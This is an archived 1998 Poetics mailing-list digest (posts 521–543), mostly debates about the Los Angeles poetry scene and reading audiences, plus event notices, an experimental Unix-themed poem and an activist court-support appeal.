We now have twenty-two copies of thirteen illuminated books. Over this and next year, we will be adding Blake's last illuminated works, _On Homers Poetry [&] On Virgil_, _The Ghost of Abel_, and _Laocoon_, as well as _Milton_ copy D and _Jerusalem_ copy E. We will also be adding at least six more copies of _Songs of Innocence and of Experience_, two copies of _Songs of Innocence_, five copies of _The Marriage of Heaven and Hell_, four copies of _The Book of Urizen_, and two copies each of _America, a Prophecy_ and _Europe, a Prophecy_. In addition, work continues on the SGML edition of David V. Erdman's _Complete Poetry and Prose of William Blake_.

We will continue to post updates on various lists every few months, but readers interested in the progress of the Archive can subscribe to our Blake Update list, which can be found on the Archive's Contents Page. On this page readers will also find that we have opened the top level of the Contributing Institutions Page, which provides contact information and links to institutions participating in the Archive. In the coming months, we plan to include color-coded and linked lists of each institution's entire Blake collection to indicate what is and is not in the Archive and what is forthcoming.

Morris Eaves
Robert Essick
Joseph Viscomi

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521. **Mark DuCharme**
Re: Call Forth Further Notes to Poetry -Forwarded
Sat 18 Jul 1998

Hear hear. Enough of these posting on the post-whatever drivel. Let's bring back normative syntax, there's something that never gets formulaic. Better to be bored than provoked. Jolly good, jolly good.

....

>Hey, you poets have got the flat disjunctive incomplete sentence down,
>which is the main thing by which we experimentalists distinguish between
>us and them & what poetry is. The poem as something that started someplace
>else in your head you've already forgotten and gets truncated in order to
>remember that missing element. Work a little more on the non-rhythm
>the boredom the feeling of unexplained angst; learn to throw in some
>plangent multisyllabic non-references from a fairly large dictionary;
>work on your spatial distances between words and "lines" which are what
>shows you are a thoughtful alternative poet patted on the head by major
>people like Olson Creeley Duncan or genericnewyorkbeatlanguagepoet -
>and they'll put you in an anthology of (Newer) Americans - (the 14th
>one - from Urban Bleat Press).
>- Henry Gould
>

_____
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522. **Mark DuCharme**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Sat 18 Jul 1998

I can't help jumping into this, altho' I've never been to L.A. & don't know the scene down there. What Todd describes sounds more like Boulder than what I'd expect of a place like L.A., especially considering Sun & Moon's

longstanding presence there. I suspect that outside of "centers" like SF & NYC there's little "popular" audience for alternative poetix; this is a separate issue from the exclusionary tactics one finds all over, & which Todd describes so candidly. What to do, except continue in dialogue, er, dialectics? & After all, isn't that what this list is for?

---Mark DuCharme

>
>Safdie Joseph wrote:
>>
>> Todd, Elizabeth -- it's been many years since I helped run the Wednesday
>> night poetry workshops at Beyond Baroque, but that was really the only
>> "scene" I ever knew, and still is, I suspect. Do you, though, know
>> Holly Prado, Harry Northrup, Bill Mohr (an L.A. mover and shaker if
>> there ever was one), Phoebe MacAdams, Lewis Macadams, Jim Krusoe, Jack
>> Grapes, Amy Gerstler, Dennis Phillips, Paul Vangelisti . . . . well,
>> those were only the people I knew and hung out with, but there were
>> others (Dennis Cooper, of course, before his move to New York) -- but
>> really -- I admit it can seem a bit provincial compared to the Bay Area
>> in terms of poetry, but that's the ONLY contest it loses, isn't it?
>
>I think my bitter mail got lost in the shuffle--but let me simply say
>that the poets you mentioned--and this outside of their own work as
>writers--have primarily been exclusive in terms of going to others
>readings--promoting others work outside of a "pop" and confessionalist
>sensibility. That years before when Barrett W. read to an audience of 8
>I was ashamed to be a poet in LA. THat same thing happened to Robert
>Duncan year ago--to Fanny Howe recently--etc. Few poets that are listed
>in your note suport the work of others besides friends. Yes, I am
>bitter--but my job as an editor and teacher is not simply to read and
>promote and publish the work of those I like--but to promote and publish
>a POETICS that is important. I have published poetry by those whom I
>don't think highly of--but whose work I believe deserves to be read! Of
>those you mentioned only Paul V. (with whom I started Littoral Books
>years ago--along with D, Phillips and Martha Ronk and Lee Hickman) even
>show up at the readings that Sun and Moon give--while Douglas M. and
>others DO show up at B. B. occasionally! Damn! No compensations besides

>the sun! No--a scene is unimportant--a dialectic is of utmost
>importance!
>
>Todd Baron
>(ReMap)
>

_____
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523. **Elizabeth Treadwell**
bread & its crumbs--
Sat 18 Jul 1998

Tracy, nicely said there!
-Elizabeth

> *There seems to be a storehouse of available public attention that recycles itself periodically. And, each poet/student lays themselves out in the field of visibility in such a way that each poet/student gathers the maximum amount attention that they're capable of (ready for). The whole field shifts and undulates as people come and go, the storehouse of public attention rises and falls, the teachers point focus to one spot, then another.*
>
> *Imagine a park. Three people triangulate the perimeter, each with a bag of bread crumbs. Each toss by the feeders sends the pigeon/poets in flight, each at their own pace. The flock/herd seems elastic. The feeding continues. The bread runs out. Then what?*
>
> *--trace--*

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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524. Elizabeth Treadwell
no subject or I LOVE LA
Sat 18 Jul 1998

Dear Tosh I just want to second the general feeling of love for LA as is-- I will mention some things that affected my writing while living there rather briefly in early 90s-- looking at those midcentury architect's buildings, like Neutra, etc--- browsing for ages at BB and S/M--- knowing some people who could actually make a living writing, albeit for the screen -- and I know that last one is really Uncool -- plus, just sitting in those chairs having drinks at LACMA, looking around MOCA --- and the grid of streets over landscape-- it inspired me.

x from No-cal,
Eliz.

ps the professors at CAL-ARTS were nothing but friendly to me in several brief mtgs as the sister of one of their students -- also, they did a 6 person TANGO in honor of their students at graduation!! oh was I jealous -- professors at SFState don't even attend graduation.

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525. charles alexander
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Sat 18 Jul 1998

These questions of audience are so difficult -- I've struggled with them, in terms of people attending readings and poetics talks, for parts of the last 18 years. Here in Tucson, our audiences, and I'm thinking of various events and series from about 1986 to the present, have ranged widely. Because there is a university here, and a lot of poetry students at that university, we have been able to get 75 people to certain Chax Press or POG-sponsored events in the past. But we've also had our share of events with ten people or less. When our audiences are more than 20, I think that half or more of those audiences are in some way associated with the University of Arizona. When 20 or less, that's not so true. Why does there continue to be great variance in attendance? Is Leslie Scalapino really that much better known than Steve McCaffery? Or Bob Perelman than Michael Davidson? Does it depend on the weather? On quirks of

scheduling? I'm sure these audience issues, which in some ways are community-building issues, will continue to bug me -- but I also try to keep the attitude that it's the people there, no matter their numbers, that count, and that allow us (POG these days) to continue presenting such events.

I haven't noticed that there's a lot of 'popular' audience for alternative poetics even in SF or NYC, although there is the ability to draw 25 or more people, most of the time -- although, as some have pointed out, and as I've witnessed, not all the time. I've read to one of my largest audiences in Tuscaloosa, Alabama. I tend to think, at this time, that it's something of a myth that the audience or production centers for innovative writing are NY and SF -- although those are certainly important points on the map.

charles

At 12:43 PM 7/18/98 PDT, you wrote:
>I can't help jumping into this, altho' I've never been to L.A. & don't
>know the scene down there. What Todd describes sounds more like Boulder
>than what I'd expect of a place like L.A., especially considering Sun &
>Moon's longstanding presence there. I suspect that outside of "centers"
>like SF & NYC there's little "popular" audience for alternative poetix;
>this is a separate issue from the exclusionary tactics one finds all
>over, & which Todd describes so candidly. What to do, except continue
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>---Mark DuCharme
>
>
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>>Safdie Joseph wrote:
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>>> Todd, Elizabeth -- it's been many years since I helped run the
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>>> night poetry workshops at Beyond Baroque, but that was really the
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>>> "scene" I ever knew, and still is, I suspect. Do you, though, know
>>> Holly Prado, Harry Northrup, Bill Mohr (an L.A. mover and shaker if
>>> there ever was one), Phoebe MacAdams, Lewis Macadams, Jim Krusoe,
>Jack
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>>> those were only the people I knew and hung out with, but there were
>>> others (Dennis Cooper, of course, before his move to New York) -- but

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>>I think my bitter mail got lost in the shuffle--but let me simply say
>>that the poets you mentioned--and this outside of their own work as
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>>readings--promoting others work outside of a "pop" and confessionalist
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>>Duncan year ago--to Fanny Howe recently--etc. Few poets that are listed
>>in your note suport the work of others besides friends. Yes, I am
>>bitter--but my job as an editor and teacher is not simply to read and
>>promote and publish the work of those I like--but to promote and
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>>a POETICS that is important. I have published poetry by those whom I
>>don't think highly of--but whose work I believe deserves to be read! Of
>>those you mentioned only Paul V. (with whom I started Littoral Books
>>years ago--along with D, Phillips and Martha Ronk and Lee Hickman) even
>>show up at the readings that Sun and Moon give--while Douglas M. and
>>others DO show up at B. B. occasionally! Damn! No compensations besides
>>the sun! No--a scene is unimportant--a dialectic is of utmost
>>importance!
>>
>>Todd Baron
>>(ReMap)
>>
>
>
>_____
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>
>

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526. **toddbaron**
Re: LA Lit Orgs
Sat 18 Jul 1998

Catherine Daly wrote:
>
> It seems to me that if place is the problem, it should be simple enough to

> invade some den of mediocrity. It seems to me that Sun & Moon and Cal Arts
> have begun a pretty effective invasion of LACMA. What about MOCA? What about
> the science museum with the 50 foot woman in it?
>
> The "Buk. School" is ABOUT self promotion. The performance poets are also
> _everywhere_. Incommunicado and Manic D and 2.13.61 have done good music
> industry-style promotion for lit. (as well as celebrity publishing, but well).
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> I think of all the celebs writing books now. By and large, they seem to read
> at either their local independent bookstore or local B&N rather than do a tour
> of shopping malls or record stores or whatever. It is a bid for legitimacy.
> Where promotion is work, to not promote may seem genuine.
>
> As for Bel Air and Fifth Avenue, who cares? Except that British Vogue reviews
> poetry, you know. Here in LA, I'm mostly told, "Oh yeah, I published poetry
> in Ploughshares, The Harvard Review, got into the Best blah blah of some year,
> but then, then I started writing for _Blossom_. Now, I don't have to write."
> Maybe it's not so bad to be here! If you really suck, they'll throw a lot of
> money at you and you'll stop writing.
>
> Catherine Daly
> [redacted]

I think that "infiltration" and subversion is a good idea--but I disagree that Sun and Moon has done so outside of the bookstore that they run. LACMA has a pretty narrative and non-innovational series--Laurel Ann Bogen is running it and she has nothing to do with Sun and Moon--nor--do I think)(know) she reads outside of a linear school. THe "stars" I refered top certainly have a right (and several ornamental lefts) but they read at a series that for years has been sponsered by the ever conservation Poetry of America Foundation--at the Chateau Marmont (the hip place for a martini!) and so I'm afraid they don't really count. (Of course--there's room for all--I'm turning sweet now) BUT

No one will throw alot of monet at innovational writers--LA has a rich history of the avante-guarde but not a funded a.g. ! Ribot, Remap, Witz, Rhizome, and the poets reflected in those experiemental**conte,porary**innovation based magazines don't care to publish in Ploughshares/etc--cuz that's not our readership. THose magazines--like the New Yorker--have an investment in narrativity that

describes (As Roberts Peters once beautifully stated) the season depicted on the cover!

It's not so "bad" here--but--I, broken "record" dismiss the idea that complaining is a negative thing. While other cities support symposums and conferences (well, not the city itself) we can't fathom anything outside of the BOOK FAIR (promotion) at UCLA and the Poetry Fest. We need to learn to expand this here horizon--I, a citizien of this berg--publish here and want to see the daily sunrise reflect more than the sorrid details of one's "self" as reflected in the poems of complaint! Rememeber,

Huxley
Yeats
Isherwood
Cage
Mann
Fitzgerald
Duncan, I

ALL complained and worked here

not to mention the poets
such as Doug Messerli, Dennis Phillips, Martha Ronk, Diane Ward, (myself), Paul Vangelisti, Guy Bennett, Fanny Howe, etc

still do!

Todd Baron
(ReMap)

ps: this is fun!

↑ Index

527. **dbkk**
forgotten women
Sat 18 Jul 1998

Mark Prejsnar wrote--

>Didn't Michael Davidson give Kyger quite a lot of respectful attention in
>her own right, in his book, the San Fancisco Renaissance??
>
This is Kevin Killian. Mark, you're 100% right, and even better than Michael's version of Kyger is his reading of Helen Adam. Honestly I think it must have been the first account of her work to take it seriously and to place it into the context of the currents from which, at first glance, she and her work seem so distant. [Michael Davidson, "The San Francisco

Renaissance: Poetics and Community at Mid-century" (Cambridge Univ. Press, 1989)] Gwyn, thank you for your kind words about the book Lew Ellingham and I have written on Spicer "Poet Be Like God". Where I disagreed with Michael D is in his underlying thesis, I don't think it's ever stated explicitly, that Spicer's fears of women and their sexuality precluded him and his circle from supporting and engaging in the work of the women poets of the period, and also the great female modernists of the 20th century that preceded his own work. Michael and I were both lucky in that Kyger's papers are so marvelously available to the public at the grand Archive for New Poetry at UCSD, they are a great collection and make her life in the 50s and 60s a total open book; lucky also that she is still alive and among us and so helpful to researchers and critics and biographers. In the case of Adam, whose papers are at Buffalo, I expect wonderful things from the work that Kristin Prevallet has been conducting on her the past few years. And there's a biography being written about Ruth Witt-Diamant, the impresario of the SF State Poetry Center, whose career Lew and I sketch out in "Poet Be Like God." The strangest case of "forgotten women" in the Spicer crowd is that of Jamie MacInnis, the super-talented San Francisco-born poet with whom Spicer became acquainted in his final years. She lived on after him and continued to write some stunning poems, but nobody now knows where she is or even if she's alive or dead!

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528. **trbell**

Re: Call Forth Further Notes to Poetry -Forwarded

Sat 18 Jul 1998

Thias is more for Henry but I'll use this chance. I may have it wrong but I think in a recent post on the wax museum you said that essentially nothing muchh changes in the realm of poetics (i.e. good guys and establishment, good women vs. the establishment). This hit me especially hard for some reason - maybe because I've been an 'anti' for a long time. Taken with the ironic and profound gesture of the 80 yr late funeral (with it's reawakening for me the temporal coincidence ?co-happening? ?co-habiting? with zaum, futurism, war, revolution, Trotskii, constructivism, productivism, etcetc of eighty years ago. Has anything changed or are we stuck in these conflicts indefinitely/

tom bell

At 12:19 PM 7/18/98 PDT, Mark DuCharme <[redacted]> wrote:
>Hear hear. Enough of these posting on the post-whatever drivel. Let's
>bring back normative syntax, there's something that never gets
>formulaic. Better to be bored than provoked. Jolly good, jolly good.

>
>....
>
>>Hey, you poets have got the flat disjunctive incomplete sentence down,
>>which is the main thing by which we experimentalists distinguish
>between
>>us and them & what poetry is. The poem as something that started
>someplace
>>else in your head you've already forgotten and gets truncated in order
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>>remember that missing element. Work a little more on the non-rhythm
>>the boredom the feeling of unexplained angst; learn to throw in some
>>plangent multisyllabic non-references from a fairly large dictionary;
>>work on your spatial distances between words and "lines" which are what
>>shows you are a thoughtful alternative poet patted on the head by major
>>people like Olson Creeley Duncan or genericnewyorkbeatlanguagepoet -
>>and they'll put you in an anthology of (Newer) Americans - (the 14th
>>one - from Urban Bleat Press).
>>- Henry Gould
>>
>
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>_____
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529. **MAXINE CHERNOFF**

Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth

Sun 19 Jul 1998

Regarding the discussion of audience size (Mark DuCharme, Charles Alexander and others): Jack Spicer's now historic lectures at Vancouver, which I've just been reading in Peter Gizzi's THE HOUSE THAT JACK BUILT, is good evidence that the size of the crowd at a reading or lecture is little indication of its eventual influence. There were perhaps 30 people in attendance in Warren and Ellen Tallman's living room.

I was one of three poets reading in Elizabeth Robinson's Berkeley house this month, on a Sunday afternoon. Perhaps 40 people were there. It was one of the best reading experiences I've had--a perfect sense of attention in the room for all three poets. Salon settings are just the best. Only Allen Ginsberg and

slam tournaments fill larger halls anyway, and few poets are up to that harsh glare, thank god.

Best,
Paul Hoover

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530. Poetics Agent 288793

no confidence/UPDATE

Sun 19 Jul 1998

This is your local poetics list manager reporting to you live from Buffalo, New York, where the dew point is high enough to make your computer sweat all its bells & whistles into an organic mush so lush that even roaches will chow down on your motherboard's main wires. But enough of the "bug" motif. Seems like I'm obsessed with pests and the nasty business of either letting those flies crawl all over me or resorting to the dragonslayer napalm-equivalent in the ant's world (so much for those damn centaurians!) but enough metaphor!

some facts:

I logged in for the first time in a day and saw that the nasty business of UB's changeover to the "IMAP" method of mail delivery (which I know nearly nothing about) is finally over. There were nearly 100 messages to the Poetics List's custodial address: [redacted] -- the most messages in a long time (besides the now ubiquitous error messages).

No one from UB was able to send or receive messages until Thursday and stored-up mail was still being delivered yesterday and even today.

Sorry if this delay prevented me from signing people up to the list in a timely manner.

For those newbies to the list, welcome! If you have any questions, or would like to pummel me with your poetical criticisms, please write to me directly at [redacted]

Thanks for your patience -

joel kuszai

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531. Alan Jennifer Sondheim
LostTime
Sun 19 Jul 1998

[the kernel is the central core of the unix or linux computer operating system. ktrace is used to analyze its operations.]

LostTime

{k:15}time pico LostTime
  2.13s real 0.00s user 0.00s system
*

{k:16}LostTime, hold on, I'm calling the system, calling the kernel,
hold on: ktrace /usr/local/bin/LostTime ktrace /bin/LostTime ktrace
/usr/bin/LostTime ktrace: exec of 'LostTime' failed
/usr/share/nls/C/libc.cat No such file or directory
*

{k:17}Hold on, LostTime, system callup: Jennifer
*

{k:18}Jennifer calling the Colonel:
*

Oh do come to me so sweetly, for I, you, we, will we now,
for I will have all the world's dark time, and you, Colonel,
you have time lost, LostTime, this missing file in which
I deposit all the world's lost words, all those letters,
numbers, those signs of dreary punctuation -
*

Come, Colonel, let me sit upon your knee, I shall raise
my pinafore so prettily, do not forbear
the passage of wise time while your soldiers, dark
from heat of passage through the wired jungle,
patrol, patrol, and will never ever notice, for I,
I, Jennifer, have all this time at my disposal
*

And against your death, do give it all of you, and towards
your death, to take it from myself, only to return it all;
while you, Colonel, disport against my knee
with gallantry, your soldiers march their bamboo way to
victory. I shall remain, you notice with your dying words,
for I have still this wondrous time, this disregard -
I will do you grand, Colonel, I will do you grand.
*

{k:22} time pico LostTime
  11.20s real 0.01s user 0.01s system

{k:23} LostTime
*

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532. **Orpheus**
Since
Sun 19 Jul 1998

Since Orpheus, we know we must never turn
Back to look at what we love, or risk
Destroying it.

Barthes: Critical Essays 1964

↑ Index

533. **Tosh**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Sun 19 Jul 1998

I also want to mention in regards to size, that the Beyond Baroque room never seems empty. Besides programming I have read there myself, and when I read in a group reading of course it's packed. But I also read in that room with 20 or less people and it is still an enjoyable event. So the room itself has lot to do with the reading as will as the work and the size of the crowd.

Tosh Berman
TamTam Books

↑ Index

534. **J Kimball**
Re: POETICS Digest - 17 Jul 1998 to 18 Jul 1998 (#1998-5)
Sun 19 Jul 1998

Alan --

The Boston Alternative Poetry conference still in progress at Blacksmith House, as I tap on these keys, is at fevery pitch, to coin a phrase. Friday kicked off with readings from Daniel Bouchard, Drew Gardner, Wil Alexander, Fanny Howe. Bouchard bounces off generic events, news wrap-ups, say, and apt link-ages such as those between game show evangelism and Mr. Clinton's recent visit to the MIT computer labs. Drew Gardner resuscitates (one of my favorite

words right now!) something verging on urban elegiac, thinking it through to its after-Ashbery and unawful, sense-making matrices within angst in big space. Gardner knows something about cowboys and how they dress. Wil Alexander delivers fresh lines of defense for tropicalism north of Sunset and Canal, variations on never saying anything you could not mean if you had the time to stare for days at cawcaws, Lamantia lizards, stuff. He loves poesies and shows it, and even better, talks it when he does his "prose" intros and so forth. Fanny Howe, who might be wearing sunglasses now, employs a term like "soul" in polished ovular forms that cover no language we can understand equivocally, tanning with HD. I want to pick through those ovals and spin them in my right hand, Queeglike.

Sat.: vocabularies and imaginations panel -- missed this. Biography/criticism panel -- missed. Missed the noontime reading too, but the buzz is that Gerrit Lansing is a wonder, fully clothed in Boston haberdashery, Blackmountain tie. (Will get details on this, later.)

Afternoon reading a Boston phenomenon that occurs every other generation. Last time, perhaps, was during Hurricane Carol (or someone's) when John Wieners swept into Charles Street Meetinghouse to attend his first ever poetry gig, that : to hear Charles Olson read every poem he -- Charles, that is -- had written up to that point. He read for hours and hours, and John and poetry have never been the same. (Two generations before that: Henry James revised brother William's application to Harvard.)

Among the readers this Saturday afternoon: Zhang Er reading in Mandarin and Leonard Schwartz offering the crispest English versions. John Taggart moaning on the blues, repetition, feeding and leading, singing soft, singing "precious," and the mother of it all, the blues, having her vision of how to give it birth -- one that includes, I think, our hearing Taggart moaning "preceeeeessuss" on. A genuine history and a poem performed as a piece! Unstoppably first rate. Chris Funkhouser also singing, bridegroom to his skeleton, flooding the room with a sutra that is not a sutra from nowhere, moving it gracefully on. Caroline Knox tearing into writers' pretensions such as, to paraphrase, "composing" a stark language framework and "going back" and filling it with "content." Knox got some of the biggest laughs, deservedly. Sean Cole got lots of laughs too and a few cardiovascular molecules had to have imploded -- someone's, somewhere -- at Cole's most astonishingly diverse send-ups -- Dickens, house plant life, teen lust, three-family crisscrossed dreams, warped dials... well it's finely warped into a poetry and a poetic presence not unlike his precursors, Ricard, O'Hara, Artaud. Rare. Andrea Brady stands as tall as you want while she rips your peabrain (mine, anyway) into smithereens, flowing, protoliterate incursions into inchoate bliss and something opposite -- isn't this what we all need now?

The afternoon and the conference have been the greatest sort of success, pairing the established with the not-quite-yet, just what a serious gathering of poets should be. The spotlight shines until late tonight. More soon. Call you soon,

-- Ja

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535. ken|n|ing
Private Eye
Sun 19 Jul 1998

Looking to hear from Keston Sutherland. If you're out there, please back-channel. Patrick F. Durgin

```
                    |
                    |
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
                    |418 Brown St. #10 Iowa City, IA 52245 USA
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536. R. Gancie/C.Parcelli
"Reason , faced with a datum, "
Sun 19 Jul 1998

"Reason, faced with a datum, attempts to transform the blind necessity of the datum, as sheer datum, into a necessity which is a logical necessity. But in doing so it arrives at an eternal Identity, the Parmidean sphere, from which nothing at all can be deduced. Explaining carried out rigorously, has led finally to explaining away! This is indeed the Selbstmord der Vernunft. Meyerson's (and parcelli's) own term for the predicament is, 'THE EPISTEMOLOGICAL PARADOX.' His classic discussion of explanation, the Explication, which begins with the insistence upon the third factor, the realistic penchant of science, ends with the climactic--and despairing--statement of the epistemological paradox."---from Explanation & Reality In the Philosophy of Emile Meyerson by Thomas R. Kelly---carlo parcelli (It's too bad I haven't been able to let Meyerson speak for himself but I've misplaced a collection of his essays published by Dover which contain Meyerson's own insights regarding Epistemological Paradox beginning with his critique of Einstein's special & general relativities.) ---"The Newport factory, built at a cost of eight million dollars, was run for the Pentagon by the Food Machinery and Chemical Corporation of New York. By 1967 it had produced between four and five thousand tons of VX (e.g. Nerve Agent), and a new generation of chemical weapons had entered service with the United States. VX had been loaded into landmines, artillery shells, aircraft spray tanks, even

warheads of battlefield missiles. In less than ten years a potential British pesticide had become THE MOST POISONOUS WEAPON IN SERVICE WITH THE AMERICAN FORCES."---from A Higher Form of Killing: The Secret Story of Chemical and Biological Warfare by Robert Harris and Jeremy Paxman, Noonday Press, 1982 (A book called Gene Wars has even more declassfied info but again, I can't locate my copy in the paper vistas surrounding me.)

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537. Dan or Orion Raphael Dlugonski

Local scenes

Sun 19 Jul 1998

---

to some extent the dynamics of who goes or doesnt go to what readings is similar in towns of various sizes (from boulder to nyc). here in portland (the western one) there are groups that go mostly to one reading series, but its more the writers who attract the artist through people they know (which has the corollary that the best method of publicity is direct notification--phone or e-mail) for example, while my own work is toward the edge, a lotta words without standard sentencing (delivered energeticly)-- people who come to hear me read come coz of their connections with me and my work; but most of these people would probably not go to see barret watten or lyn hejinian. (any out of town writer without some sort of local rep has difficulty pulling an audience.) i dont go to many readings, usually just close freinds (so rarely does someone interesting come through to read here; the only person who books outside writers in the area has stongly academic tastes); my main excuse is having a day job, a family and my own writing and publishing to tend to.

dan raphael

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538. Catherine Daly

LA Lit. Orgs.

Sun 19 Jul 1998

What I meant by LACMA was Will Alexander's Writers On Site grant-funded symposium, and the Cal Arts Asian Art weekend.

While Laurel Ann Bogen is certainly regional, she is rather hardworking. I find it hard to believe she is actually opposed to lengthening her mailing list. Also, since she's teaching the on-the-ground entry-level workshop at UCLA Extension this term, I've got some wonderfully experimental beginners (I feel were pushed over into) my online version.

Ah, but that horribly organized poetry tent at that book fair. And what is this Susan Loomis Y2K poetry shindig? Why did Molly Bendall charge FIFTEEN DOLLARS for her last reading? What is that? And what about the Barnsdall Art Park?

But as for money, or Monet (but that's in San Diego), seems to be a matter of outreach. For every hack out of Harvard there are people who, with a push, could find that $25,000. is really a tiny sum, really not enough for a car, but just enough to issue a book, not of one's own work, but, you know, something one was able to help get done. Really a lot classier than all those actors writing about sunset in Malibu.

It's really "Los Angeles, the Four Economies".

Catherine Daly
[redacted]

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539. **Rachel Levitsky**
Re: For Bay Area Activists
Sun 19 Jul 1998

For those of you interested, these folks are calling for a supportive presence in court on july 31, Oakland, CA.

--RAchel D.

> *Justice for Judi Bari!*
> *106 W. Standley St. Ukiah, CA 95482* [redacted]
> *July 15, 1998*
>
> *Dear Friends,*
>
> *On May 24, 1990, a motion-triggered pipe bomb exploded beneath environmental/labor activist Judi Bari's car seat as she and Darryl Cherney drove through Oakland, California, on an organizing tour for Earth First! Redwood Summer. Today, over eight years later, the people who placed the bomb are still walking the streets.*
>
> *The would-be assassins were allowed to slip away with the approval of the Federal Bureau of Investigation and the Oakland Police Department, who have never investigated the politically-motivated attack. Instead, they used the bombing as an excuse to vilify and collect information about environmental activists, falsely arresting Judi and Darryl within hours*

*of
the blast on charges of transporting explosives.*

*In 1991, Judi Bari and Darryl Cherney filed a Federal Civil Rights
lawsuit against the FBI and OPD, charging them with false arrest, illegal
search and seizure, and conspiracy to violate the activists' civil rights.
They claim that the FBI used the tactics of their notorius
Counterintelligence Program (COINTELPRO) to smear Judi and Darryl as
bombers in an attempt to "neutralize" the Earth First! movement.*

*The Civil lawsuit has held up to numerous attempts by the
defendants to have it dismissed, based on the strength of the evidence
collected so far. It has unearthed thousands of pages of FBI and Police
documents that show clearly that the government lied and knew they were
lying when they arrested Judi and Darryl for bombing themselves.*

*On March 2, 1997, Judi Bari died of metastatic breast cancer. The
absence of her powerful voice to publicize the lawsuit this last year has
served to underscore what Judi knew all along: that this case is our case.
It is about the rights of all progressive activists to effectively organize
for social change without a constant covert assault by the FBI. It is up
to us to fill the silence left by Judi's untimely passing with a resounding
united call for justice!*

*The Redwood Summer Justice Project, made up of friends and comrades
of Judi's who have been working on the case with her for years, will take
the bombing case to trial. The legal team has persevered in the face of a
relentless strategy of delay by the FBI and OPD. Recently, Judge Claudia
Wilken granted our motion to certify that the Government and Police do not
have immunity from prosecution. This victory should have cleared the way
to trial, except the Oakland Police snared the case once again by filing a
frivolous appeal that could hold things up for yet another 12-14 more
months. Now the FBI is refusing to move forward with discovery until the
Oakland appeal is resolved.*

*This is why we need your help. The bombing case gives us an
unprecedented opportunity to take the FBI to task for COINTELPRO activities*

and expose their covert reign of terror against activists and organizations that has undermined progressive movements in the U.S. and elsewhere for decades. But if we want a trial, we're going to have to demand it!

We will be happy to provide copies of RSJP's bombing case leaflets should you want to distribute them to your members or pass them on to other interested groups and individuals. Also, please sign on to the attached statement calling for a trial NOW, and an end to FBI COINTELPRO once and for all. If you know of additional groups and individuals who should receive a packet about the bombing and COINTELPRO, please send us their names and numbers.

The next hearing in the case is scheduled for July 31, 1998, at 1:30 PM, before Judge Claudia Wilken at the Oakland Federal Courthouse (1301 Clay Street, downtown Oakland). Any way you can help publicize this date and mobilize people to attend will be invaluable. We must show up in full force to let the court know that we won't accept any more delays! Make sure to check with the Mendocino Environmental Center at [redacted] *before you leave to confirm. Thank you again for your support.*

Justice for Judi Bari!

Alicia Littletree
106 W. Standley St.
Ukiah, CA 95482
[redacted]

STATEMENT DEMANDING A TRIAL IN THE EARTH FIRST! BOMBING CASE:

We, the undersigned, add our names to the long and diverse list of groups and individuals who demand justice for Judi Bari and a full jury trial in her and Darryl Cherney's civil rights lawsuit against the FBI and Oakland Police. In 1990, Earth First! activists Judi Bari and Darryl Cherney were the targets of not only a brutal car bombing assassination attempt, but a vicious smear campaign by the FBI and Oakland Police. These agencies used the bombing as an excuse to vilify Earth First!, a nonviolent radical environmental movement, as terrorists. The FBI has never looked for the real bomber, and the person or persons who tried to kill Judi Bari are still at large.

> *This case of outrageous police misconduct must be brought to trial without delay. We will not accept further FBI and OPD stall tactics, and we fully expect the court to dismiss any and all frivolous motions and groundless appeals aimed at dragging out the case. We insist that the FBI agents and Oakland Police officers involved in the bombing case be brought to the witness stand to answer for their conduct. We recognize the far reaching implications this trial could have for activists from all struggles who work to achieve social change in the U.S.*
>
> *Ultimately, we demand an immediate end to the use of COINTELPRO-style tactics by the FBI to disrupt and "neutralize" progressive organizations working for social change.*
>
> *Signed,*
>
> *(If you or your group would like to sign on, please contact us at the address at top of this page with your name, address, and other contact info.! Thanks! Earth First!)*
>
> *The Judi Bari Home Page on the Internet is located at: http://www.monitor.net/~bari*
>
> [redacted]

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540. Carl Lynden Peters
address search for DIFFERENCE ENGINE
Sun 19 Jul 1998

dear poets,

does anyone know chris meyers's (i think i have the spelling right)--e-mail address, or know how i can reach him (snail mail address is also helpful)? chris runs a small press called DIFFERENCE ENGINE. if you know his address, could you post me back door?

many thanx in advance,

carl

[redacted]

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541. Mark Salerno
Hard Press Contact Info
Mon 20 Jul 1998

Friends:

If anyone knows the telephone number, fax number or e-mail for Jonathan Gams' Hard Press in West Stockbridge, Mass., I'd be grateful to receive that information by back channel.

Thanks.

Mark Salerno

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542. rachel s. kubie
Henry Dumas Tribute in Baltimore
Mon 20 Jul 1998

Henry Dumas 1934 - 1968
>A Celebration of His Life & Work
>Saturday, July 25, 1998, 11 a.m. - 5 p.m.
>Enoch Pratt Free Library
>400 Cathedral Street
>Baltimore, Maryland 21218
>[redacted]
>FREE
>
>
>Special Guests:
>Loretta Dumas
>Eugene B. Redmond
>Quincy Troupe
>Kenneth Carroll
>E. Ethelbert Miller
>Chezia Thompson-Cager
>Reggie Timpson
>
>
>Born July 20, 1934, in Sweet Home Arkansaa, Dumas was raised in Harlem from
>the age of 10. He studied at City College and Rutgers University, served i
>the U.S. Air Force, married, fathered two sons, and participated in the

>Civil Rights and Black Power movements. Dumas helped develop the little
>magazine circuit (Hiram Poetry Review, Umbra, Untitled, Negro Digest) and
>wrote what Toni Morrison has called "heroic" poetry and fiction. At the
time
>of his death in 1968, he was a teacher-counselor and director of Language
>Workshops at Southern Illinois University -Experiment in Higher Education
in
>East St. Louis.
>
>Dumas did not live to see his poetry and fiction published in book form. On
>May 23, 1968 he was shot and killed by a policeman on the Harlem Station
>platform of the New York Central Railroad. Dumas writings were published
>posthumously under the editorship of Toni Morrison and Eugene B. Redmond.
>
>Works by Dumas:
>
>Ark of Bones and Other Stories (1970)
>Play Ebony, Play Ivory (1974)
>Jonoah and the Green Stone (1976)
>Rope of Wind and Other Stories (1979)
>Goodbye, Sweetwater (1988)
>Knees of a Natural Man (1989)
>

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543. **linda russo**
Re: post-Fem/For you Guys too
Mon 20 Jul 1998

Simon --

